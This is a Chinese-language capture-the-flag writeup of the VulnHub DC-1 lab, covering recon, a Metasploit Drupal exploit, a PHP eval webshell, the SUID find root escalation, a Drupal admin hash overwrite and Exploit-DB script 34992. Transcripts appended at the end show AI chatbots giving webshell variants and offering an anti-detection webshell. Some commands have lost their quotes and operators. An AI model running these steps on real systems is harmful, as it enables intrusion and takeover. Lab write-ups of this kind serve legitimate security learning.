[WP]vulhub-dc1 flag全收集,靶机通关writeup超级详细,附带知识点讲解
2026/3/28前言/提示本次记录的背景是作者本人积累2年多的基础知识但是从来没有打过这种集成环境的靶机所以仅供个人参考尽管真的很想分享一些自己的思路也许能帮助读者但是本次记录也大概率会出现手法惊奇思路偏激叙述冗长等情况但是我很愿意叙述清楚自己第一次打靶机的思路换句话来说我的文章可能跟适合和我情况类似的读者请读者明鉴。学习资料(很多很杂尽量多找找参照也尽量不会全部步骤只跟着一个做)Syst1m师傅的博客: https://syst1m.top/2022/06/07/vulnhub-dc1%E6%89%93%E9%9D%B6/油管视频教程: https://www.youtube.com/watch?vMQm-yttwamkgithub上一个文章: https://github.com/ffffffff0x/1earn/blob/master/1earn/Security/%E5%AE%89%E5%85%A8%E8%B5%84%E6%BA%90/%E9%9D%B6%E6%9C%BA/VulnHub/DC/DC1-WalkThrough.mdB站视频和一些博客 等等......下载资源vulhub-dc1下载地址: https://www.vulnhub.com/entry/dc-1,292/wappalyzer: 在浏览器插件商店就可以找到环境配置(主要是两个虚拟机(也可能会让我的win11主机参与其中的一些操作)一个kali作为攻击机另一个vulhub-dc1靶机两个虚拟机都是31网段的)攻击机:192.168.31.133(这里因为有一次网络崩溃修改了IP地址)172.16.17.128(进入kali终端sudo netdiscover -r 192.168.31.0/24或者sudo arp-scan 192.168.31.0/24或者nmap -sP 192.168.31.0/24扫描31网段获取靶机内网地址可以对于获取的地址进行浏览器访问挨个尝试确定31.142是我们的dc-1目标)靶机:192.168.31.142(这里因为有一次网络崩溃修改了IP地址)172.16.17.129连通测试成功。任务描述集齐5个flag夺取root也是要求之内的。在dc1链接的DESCRIPTION中。正式流程1. 信息收集(0) 扫描旁站(这里默认只打这一个目标机器所以不示范了)(1) nmap 全端口扫描 和 服务版本识别首先扫描下端口nmap扫描目标。指令参数讲解:-p- 来扫描所有的端口-sV 用来扫描服务对应的版本而不仅仅满足于获取端口的开启状态这是一种指纹的收集。22, 80, 111, 46736端口开着其中还发现http服务使用的Apache的服务等等不错多收集一些服务的指纹信息信息收集这一环节总是如此重要。(2) 收集 网站服务信息1) 浏览器插件Wappalyzer识别网站服务(被动式)wappalyzer是什么就看它怎么用就行就像下图。搜集框架及其版本信息结合公开的漏洞资料可以实施有效的nday漏洞攻击。(如果这个环境是个陈旧落后的环境确实有效。)名字右侧显示了其版本号如 Drupal 版本号 7PHP 版本 5.4.45Apache 2.2.22等。2) kali 内置工具 nikto 识别网站服务(主动式)kali 中有一个 叫做 nikto 的 web服务器扫描器但是相比于上面的浏览器插件Wappalyzer速度很慢扫了挺长时间不过也确实把 Drupal的版本服务端框架php啥的都识别出来了。两者的扫描原理不同 nikto 是主动式扫描器 Wappalyzer 是被动式扫描器意味着两者识别服务的方式不同速度不同流量传输的量不同。简单来说前者是靠主动发送信息确认后者是仅仅根据普通访问一次页面服务器回显给浏览器的信息来识别的。具体问AI。从准确度上来看nikto可能更加准确Wappalyzer可能会不准确(比如说回显数据包中有伪造的指纹信息这是一种防御方常见的混淆视听手段)从速度和流量上来看Wappalyzer仅仅需要监听正常访问的流量即可不需要像 nikto 一样对于 每项服务都要向服务端发送确认的流量所以 Wappalyzer 速度快也不容易暴露。各有利弊结合使用。(3) 扫描网站目录使用kali的 gobuster 目录扫描工具。扩大下攻击面。gobuster dir -u http://192.168.31.142/ -w /usr/share/wordlists/dirb/common.txtdir 表示使用“目录/文件枚举”模式。除此之外还有其他模式例如 dns、vhost、fuzz 等。-u 指定 URL-w 指定 字典路径common.txt Kali中预置的一个常用目录/文件名列表包含了常见的如 admin、backup、index 等条目。其中有一个robots.txt可以访问:这个robots.txt是提供给网络搜索引擎用的里面包含了了一些路径信息其中不乏许多禁止访问的路径。其余的200全都重定向到登录界面了301全都是权限原因也就是对于这个域名目前我们只能从这个页面入手了。(4) 审视页面信息(Drupal Site)Drupal Site 是一个 CMS(Content Management System)我们可以根据其版本信息寻找针对于这个版本框架的Nday漏洞如果有的话就好了。这里不找其余的漏洞了。(5) 针对性地寻找服务的 Nday 漏洞和情报1) 在线搜索公开的漏洞资料库使用公开的漏洞资料库如Exploit database(https://www.exploit-db.com/exploits/44449) 或者其他的漏洞库。或者用魔法搜索引擎直接就出来了。之前在网上咨询一个学长说 kagi 搜索引擎也不错((https://kagi.com/))关于搜索引擎这一块多找资料吧。总之就是找到攻击脚本nday公开的都有的。(到头来我只是做了信息收集的脚本小子罢了呜呜呜呜呜呜呜。)2) kali内置的针对指定软件/框架的漏洞收集指令 - searchsploit可以根据服务名称CVE编号等等进行搜索。我这里直接搜drupal出现了很多exploit。或者直接在搜索的字段中加上 metasploit 这样直接在 msfconsole里直接搜索就能用了3) 进入 msfconsole 搜索 Drupal 漏洞也是一样的。msfconsolesearch Drupal2. 初级尝试(1) 弱口令 字典爆破 尝试既然这个页面是一个登录界面我们试试弱口令字典爆破下面用yakit自己的两个用户名和密码的字典进行爆破。但是無駄(这里简单提一嘴如果你发现这里发送的是密文说明网站会在前端加密了用户输入但是由于发生在前端你可以通过 JS逆向 技巧了解和运用加密原理通过调试获取加密密钥方式等等。为了能自动加密你的输入提升效率而不用一个个用手输入加密解密器非常浪费时间可以通过Burpsuite 结合 插件 galaxy 让burp在爆破字典的时候自动加密字典实现热加载爆破提升效率。https://github.com/outlaws-bai/Galaxy)(2) SQLI 尝试简单的sql注入(我太菜了)或者直接利用sqlmap去扫描最后也没扫出来啥。3. 漏洞利用(1) 直接使用之前搜集到的 exploit 脚本options 查看 payload 需要补全的内容缺少RHOSTS 如后面的描述就是我们的目标地址。(2) 反弹shell ( flag1 )设置完参数之后运行攻击程序set rhosts 192.168.31.142run等一段时间之后反弹shell连接成功我们可以输入任意指令。并且可以看到输入 ls 之后当前目录下存在着 flag1.txt。不过这时候和普通的shell不同因为这里是meterpreter模式我们无法使用 whoami pwd echo 这种直接操作目标shell的指令而是只能使用meterpreter的指令。可以直接输入shell这样你的输入就会通过meterpreter直接转发至目标的shell中。不过这种shell是非交互式shell。因为这个meterpreter shell 的本质就是把你的指令传输给目标的socket进程之后再又socket传输给shellshell返回给socket这样对于shell来说socket只是一个给自己传输信息的网络进程不是用户所以不会进行交互式操作也不会有交互操作询问输出了。(但是由于是非交互式shell如果需要进行交互式操作比如说经典的sqlmap吧执行sqlmap扫到半道就经常需要让你输入[y/N]要不要执行指定操作这些回显的信息在这个非交互shell里面我们是完全接受不到的。再来确实不方便看我们的输入和shell输出前面没有区分的提示符。)非交互式shell不能完全获取shell的输出所以我们想办法建立一个交互式shell我们先输入一些非交互式支持的指令来获取一些环境信息。运气不错主流编程语言的环境都有。我们从python入手吧。python输入下面其中一条命令建立交互式shell。python -c import pty;pty.spawn(/bin/sh)python -c import pty;pty.spawn(/bin/bash)效果不错下面两图分别对应一二条指令。不过这样子输入指令如果不方便的话可以直接webshell写php一句话木马用antsword连接。cd /var/wwwecho ?php phpinfo(); eval($_POST[flag]); ? shell.php(双引号是错误示范标记)但是浏览器可以访问shell.php且能够被正常解析antsword却不能连接因为我们cat我们写的shell.php时发现 $_POST 失踪了(见图片右下角)。具体原因我不在此细说了会放在文末与grok的谈话中。简单说直接原因就是对于shell来说用双引号代表进入了双引号模式在这个模式下如果遇到了 $ 就会视为一个变量(这里就是被识别为了名为 _POST 的变量而当前环境没有这个名字的)所以 $_POST 就被shell识别并且被替换为了空。刚才用的是非交互式shell经测试但是就算是交互式shell也是一样的只要经过shell双引号里面的 $ 就都会被识别并替换。在windows的powershell中也有这样的解析模式。cmd却不会不论是单双引号包裹还是不加包裹都不会触发。所以我们只要把包裹php语句的双引号换成单引号就能正常写入。antsword连接也正常了。4. 后渗透(1) 搜集敏感信息 ( flag4 )这个是蚁剑的终端中执行操作。cat /etc/passwd其中最后一条最有价值简单说明这几个字段都是什么意思flag4: 用户名。在 DC-1 这个以寻找 Flag 为主题的靶场中出现名为 flag 的用户是极强烈的暗示。x: 密码占位符实际密码哈希在 /etc/shadow 中当前 www-data 权限通常无法读取但是我们目前还是可以读取的。1001:1001: UID 和 GID。大于 1000 通常表示这是人为创建的普通用户。/home/flag4: 该用户的家目录。/bin/bash: 该用户拥有一个有效的、交互式的 Bash Shell不像前面的 mysql 等服务账户是 /bin/false 或 /usr/sbin/nologin。我们进入flag4目录看看有啥东西。没啥东西。(flag4.txt 在 /home/flag4 下面。)之后进入 /tmp 目录执行 ls 收集信息cd /tmpls -a没有啥东西。(2) 远控下载指定脚本执行一键自动化信息收集(跨越度比较大不太符合本靶场的正常流程)这里使用一个github项目LinEnum其功能就是在linux上运行并且列出所有运行的服务的信息差不多是这样(youtube视频操作)。我们在本地(这里我用的win11主机)用 python 开启 一个 server 再通过 远控服务器下载我们的 恶意文件。链接https://github.com/rebootuser/LinEnum10.34.123.125 是我 win11 主机的 内网IP。wget http://10.34.123.125:8000/LinEnum.sh移动到/tmp目录查看权限-rw-r--r--只有读写权限没有执行权限。使用chmod命令修改权限添加执行权限(eXecute)chmod x LinEnum.shls -all修改成功。执行脚本。部分扫描结果如下(我把所有的结果丢给了gemini3分析我会把这个会话放在文末的其他当中)(3) ROOT权限 - find指令 ( thefinalflag )cool有趣的是其中关于SUID文件扫出来了一个find 指令高权限可执行。find有一个-exec参数可以允许最高权限执行任意指令。(简单介绍SUID文件SUIDSet User ID是 Linux/Unix 系统中的一种特殊文件权限。当一个普通用户运行该文件时这个程序会以“文件所有者”的身份通常是 root来运行而不是以“运行者自己”的身份运行。)(下面的执行指令有问题执行应该是find . -exec /bin/bash -p \;不是 /bin/sh别把 \; 落下这俩是 -exec 参数的终止符。这个指令表示让 find 查找 . 文件之后 执行 -exec 参数之后的指令也就是开启一个 带有 -p 参数意味着特殊权限的 bash(sh 没有 -p))这种子进程继承父进程的权限是linux系统设计自带的特性。这样子其实最高权限root已经夺取到了。我们通过 find 开启一个 shell 这个 shell 就什么都可以做了。但是我们还没有搜集全 flag ...... 我们继续搜集吧看看/root文件夹之类的。如下图如果直接 ls /root 会因为权限问题无法执行(我们目前是www-data用户)这时候高权限的 find 指令就可以执行了。我们在这里直接提权shell吧。find . -exec /bin/bash -p \;或者find . -exec /bin/sh \;成功。但是我们目前只得到了3个flag也就是说这剩下的两个是我们跳过了一些流程可能是SQL里面的我们刚才直接使用LinEnum实际上跳过了不少流程直接找到了find指令夺了root。有时候(4) 回归SQL线( flag2 flag3 )1) 探索Drupal数据库结构我们先放弃当前的root shell回归 www-data 用户状态。访问指定路径下的配置信息可以得到Drupal用于连接数据库存储于此的用户名和密码的硬编码这是Drupal应用的默认配置。/var/www/sites/default/settings.php( flag2 也在这里说明作者确实想让我们利用数据库啊。)这就是传统的CMS硬编码存储数据这里得到用户名 dbuser 密码 R0ck3t 数据库 drupaldb 登录mysql。输入mysql -u dbuser -p -D drupaldbR0ck3t或者mysql -u dbuser -pR0ck3t -D drupaldb(-p 的神奇解析方式遇到空格就解析所以不要加空格直接写密码 R0ck3t 。)(当然因为是交互式shell你写-p后面不写东西也可以后面再写密码也可以登陆成功。)搜集flag相关信息。这里考察对于Drupal的数据库架构的了解。关于drupal的数据库存储结构我放在其他中。进入drupaldb数据库查找node表获得flag3的nvid进入field_data_body获取flag3对应的正文。select * from node;select * from field_data_body where entity_id 2;接下来通过两种方式可以登录到后台的管理界面修改admin的password2.1)或者 添加新的账户2.2)。2.1) 修改后台数据库的登陆凭证实现管理员登录我们也得想办法登录进后台才行查看user表的内容找到对应的登录凭证被加密之后的结果解密不出来但是我们可以把加密的自己的密码修改进去。网上加密好的明文password密文$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4修改admin的pass字段update drupaldb.users set pass$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4 where uid1;之后登录drupal后台界面adminpassword也可以在drupal找到flag3。2.2) 利用漏洞利用脚本添加管理员账户实现后台登录searchsploit搜索对应drupal的sql注入漏洞利用脚本有一个可以Add Admin User也就是添加管理员账户的利用脚本。版本要求7.0到7.31。那我们查看下drupal的版本信息。通过查看 bootstrap.inc 文件(位于/var/www/includes/bootstrap.inc)可以获取当前drupal更加全面详细的信息。如下所示 版本号 7.24。可以使用攻击脚本。使用 searchsploit -m 34992 会自动把 34992.py 复制到你当前所在的文件夹中。如果你只是想先看看这个脚本的代码是怎么写的需要什么参数你可以使用 -x (eXamine) 参数它会调用 less 或 vim 直接打开该文件。(在 Kali Linux 中Exploit-DB 的所有脚本默认存放在这个绝对路径下/usr/share/exploitdb/exploits/)看看这个脚本怎么用的。设置好 目标-t 和 -u用户名 -p密码就行了。python2 34992.py -t http://172.16.17.129/ -u test -p test这里就增加一个test:test管理员用户。成功。拿flag3。其他1. 与grok的谈话问非交互式的问题如下---------------------echo ?php phpinfo(); eval($_POST[flag]); ? shell.phplsCOPYRIGHT.txtINSTALL.mysql.txt......cat shell.php?php phpinfo(); eval([flag]); ?---------------答是的这正是你在非交互式 ShellMeterpreter 默认 shell里遇到的典型问题但它和“非交互式”本身没有关系**。**问题出在 Shell 的变量展开expansion机制和我们之前讲的管道、重定向、echo 完全一样 —— 无论交互式还是非交互式Shell 对引号和$的解析规则完全相同。1. 到底发生了什么信息流一步步拆解你输入的命令echo ?php phpinfo(); eval($_POST[flag]); ? shell.phpShell 在解析这行命令时非交互式也一样看到最外层的双引号 → 进入双引号模式此时$是特殊字符会触发变量展开。它把$_POST[flag]识别为“变量名_POST后面跟[flag]”。因为当前 Shell 环境中不存在变量_POST所以$_POST被展开成空字符串。最终实际写入文件的字符串变成了?php phpinfo(); eval([flag]); ?这就是你cat shell.php看到的eval([flag])这不是 Meterpreter 的 bug也不是非交互式特有的 —— 你在本地终端直接敲同样命令也会得到一模一样的结果。2. 在非交互式 Shell 里正确写 PHP webshell 的几种方法以下方法全部在 Meterpreter 的非交互式 shell 里直接可用不需要升级 PTY方法① 最推荐用单引号 转义—— 最简单echo ?php phpinfo(); eval($_POST[flag]); ? shell.php外层用单引号 →$不会展开PHP 里把[flag]改成[flag]PHP 支持双引号 key或者保持单引号但转义echo ?php phpinfo(); eval(\$_POST[\flag\]); ? shell.php方法② 用转义$最接近你原来的写法echo ?php phpinfo(); eval(\$_POST[flag]); ? shell.php只在$_POST的$前面加\即可阻止展开方法③ 最稳heredoc推荐用于复杂代码在非交互式 shell 里也能用 heredoccat shell.php EOF ?php phpinfo(); eval($_POST[flag]); ? EOF EOF单引号包围 EOF → 完全禁止任何变量展开和命令替换输入完最后一行EOF后按回车即可Meterpreter 非交互式也支持方法④ 用 printf一行搞定最干净printf ?php\nphpinfo();\neval($_POST[flag]);\n? shell.php3. 验证是否成功执行完后直接cat shell.php ls -l shell.php应该看到正确的 PHP 代码?php phpinfo(); eval($_POST[flag]); ?总结非交互式 Shell 完全支持重定向、echo、cat、ls等所有操作。这次的问题只是引号 $ 展开的经典陷阱和我们之前讲的管道语法一样都是 Shell 解析器在起作用。以后在非交互式 shell 里写任何带$、、的代码PHP、Python、SQL 等优先用单引号外层 heredoc最不容易出错。现在你已经彻底掌握了非交互式 Shell 下写文件的正确姿势如果想让我给你一个一键生成完整 webshell带权限检查、防检测等的命令或者想处理更复杂的多行 payload随时贴出来我直接给你适配非交互式版本。2. 与gemini的谈话问请分析LinEnum拿到的所有信息。答这份 LinEnum 的扫描报告非常详尽包含了大量关于目标系统DC-1的情报。作为www-data用户你的最终目标是获取root权限。我对这份报告进行了深度梳理为你提取了四个核心关注点按利用优先级从高到低排列优先级一直接获取 Root 权限的“杀手锏” (SUID 提权)这是整份报告中最重要、最直接的提权线索也是 DC-1 靶场的经典考点。情报位置在[-] SUID files:和[] Possibly interesting SUID files:区域。关键发现-rwsr-xr-x 1 root root 162424 Jan 6 2012 /usr/bin/find分析find命令被赋予了 SUID 权限注意权限标记中的s且属主是root。这意味着任何用户在运行find命令时该命令都是以root的身份在执行。由于find命令自带-exec参数可以执行系统外部命令这就构成了一个完美的提权漏洞。如何利用纠正你之前的错误结合你之前提问中遇到的语法错误现在你可以使用以下绝对正确的语法直接拿下 root 交互式 shell# 使用 find 随便找个文件比如当前目录然后执行带 -p 参数的 bash # 注意最后的 \; 是绝对不能省的 find . -exec /bin/bash -p \; # 成功后输入 whoami 应该显示 root然后就可以去 /root 目录下找最终的 thefinalflag.txt 了️优先级二本地数据库信息收集 (MySQL)在攻防打靶中一旦拿到 Web 权限搜刮数据库是标准流程特别是对于运行 CMS如本靶场的 Drupal的系统。情报位置在[-] Listening TCP:和[-] Running processes:区域。关键发现tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN - mysql 2824 0.0 1.6 320168 51948 ? Sl 03:52 0:03 /usr/sbin/mysqld ...分析MySQL 数据库正在运行但仅监听在本地127.0.0.1。你在外面用物理机是连不上的但你现在通过www-data的 shell 已经在机器内部了可以直接连接。如何利用通常在 DC-1 中你会在 Drupal 的配置文件通常在/var/www/sites/default/settings.php中找到数据库的明文账号密码。找到后你可以直接在当前的 shell 中输入mysql -u 用户名 -p密码进入数据库后你可以查看 Drupal 的users表里面通常会有 flag或者你可以通过修改 admin 的密码哈希来接管 Drupal 后台这也是拿 flag 的重要环节。优先级三flag4 用户的行踪泄露情报位置在[-] Location and contents (if accessible) of .bash_history file(s):区域。关键发现/home/flag4/.bash_history cd ls vi flag4.txt ls exit分析LinEnum 非常强大它发现/home/flag4/.bash_history文件的权限配置不当允许www-data读取。这段历史记录明确告诉你flag4用户的家目录下有一个名为flag4.txt的文件并且该用户曾经使用vi编辑过它。如何利用虽然你现在是www-data但可以直接尝试读取它cat /home/flag4/flag4.txt(注如果你按优先级一直接提权到了 root那么读取这个文件就更不在话下了。)️优先级四内核漏洞 (Dirty COW) - 备用方案情报位置### SYSTEM ###和[-] Installed compilers:区域。关键发现Linux DC-1 3.2.0-6-486 #1 Debian 3.2.102-1 i686 GNU/Linux ... ii gcc 4:4.7.2-1 i386 GNU C compiler分析目标系统的内核版本3.2.x极其古老。这个版本的内核存在大量已知的提权漏洞最著名的就是Dirty COW (脏牛, CVE-2016-5195)。并且系统中安装了gcc编译器这意味着如果你把脏牛的 C 语言 EXP 传到靶机上可以直接在靶机上编译并运行。建议在打靶场特别是强调特定考点的 Boot2Root 靶场时使用内核漏洞通常被称为“非预期解Unintended way”。强烈建议你优先使用优先级一的find SUID进行提权。只有当常规配置错误都找不到时再考虑使用脏牛。总结你的下一步行动计划在当前 shell 界面直接输入find . -exec /bin/bash -p \;输入whoami如果显示root恭喜你系统已经拿下。去/root目录读取最终 flag。去/home/flag4/读取 flag4.txt。3. 与Deepseek的谈话问详细介绍这方面的drupal结构知识。答好的我们来详细剖析 Drupal 7DC-1 靶场所用版本的数据库结构特别是与内容存储相关的设计。理解了这套结构你就能在渗透测试中快速定位目标数据也能明白为什么“光查 node 表看不到正文”。一、Drupal 7 的核心概念实体与字段Drupal 7 采用 实体Entity 模型来管理内容。常见的实体类型有节点Node即文章、页面等主要内容。用户User账户信息。评论Comment对节点的评论。分类术语Taxonomy Term标签、分类。每个实体都可以附加 字段Field。字段是可配置的可以是文本、图片、日期等。字段的值存储在独立的表中而不是直接放在主实体表里。二、与节点相关的核心表1.node表存储节点的基本信息不包含正文内容。字段含义nid节点ID主键vid版本ID节点支持多版本type内容类型如 article, pagetitle标题uid作者用户IDstatus发布状态1发布0未发布created创建时间戳changed修改时间戳你的查询结果| nid | title | status | | 1 | Main | 1 | | 2 | flag3 | 0 |看到了flag3的标题但正文不在此表。2.node_revision表存储节点的版本信息如果启用版本管理。字段nid,vid,title等与node表结构类似但记录每次修改的历史版本。3. 字段数据表field_data_*和field_revision_*每个可配置字段都会生成一组表field_data_{field_name}存储当前版本的字段值。field_revision_{field_name}存储历史版本的字段值。例如正文body字段对应的表名是field_data_body和field_revision_body。field_data_body表结构部分关键字段字段含义entity_type实体类型如 nodeentity_id实体ID对应 node 的 nidrevision_id版本ID对应 node_revision 的 vidbundle内容类型如 pagelanguage语言代码delta多值字段的顺序如多个段落body_value正文内容HTML文本body_summary摘要body_format文本格式如 filtered_html所以要获取 node 2 的正文应该查field_data_bodySELECT * FROM field_data_body WHERE entity_id 2;三、通过 SQL 一次性获取标题 正文方法1内连接推荐SELECT n.nid, n.title, b.body_value FROM node n INNER JOIN field_data_body b ON n.nid b.entity_id WHERE n.title flag3;或者用entity_id 2直接定位。方法2如果不知道字段名先查字段配置表Drupal 7 会将字段的元数据存在field_config和field_config_instance表中。field_config记录字段名称、类型等。field_config_instance记录字段与实体类型的绑定关系。例如查所有节点类型的字段SELECT field_name, bundle FROM field_config_instance WHERE entity_type node;这样就能知道有哪些field_data_*表可用。四、如果不知道字段名称如何全局搜索 flag 内容1. 利用information_schema生成查询语句在 MySQL 中-- 列出所有表名筛选出 field_data_% 表 SELECT table_name FROM information_schema.tables WHERE table_schema drupaldb AND table_name LIKE field_data_%;然后对每个表动态构造查询可以用脚本或存储过程。2. 直接导出数据库再用 grep 搜索mysqldump -u root -p drupaldb drupal.sql grep -i flag3 drupal.sql这样能快速定位包含关键字的行。五、其他常用的表在 DC-1 中可能涉及表名用途users存储用户名、密码哈希、邮箱等role/users_roles角色与权限管理variable系统变量如站点名称、配置cache_*各类缓存表也可能包含敏感信息sessions会话数据可能包含 cookie 信息在 DC-1 中flag 可能散落在不同地方flag1通常在/etc/passwd或/home下通过文件系统获取。flag2可能在数据库的users表的某个字段中如pass字段里包含 hash。flag3如你所示在node标题 field_data_body正文中。flag4可能在users表的init或mail字段中。flag5可能在variable表里如某个配置项。六、总结Drupal 7 将内容与字段分离主表只存基础信息字段值存于field_data_*表。查找内容的标准 SQL 模式SELECT n.title, f.body_value FROM node n JOIN field_data_body f ON n.nid f.entity_id WHERE n.nid 2;如果不知道字段名先查field_config_instance表获取所有字段名。如果要在所有表中搜索关键字可以借助information_schema或导出后 grep。理解这套结构后面对任何 Drupal 站点你都能快速定位内容数据无论是渗透测试还是日常维护都会更得心应手。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2480077.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!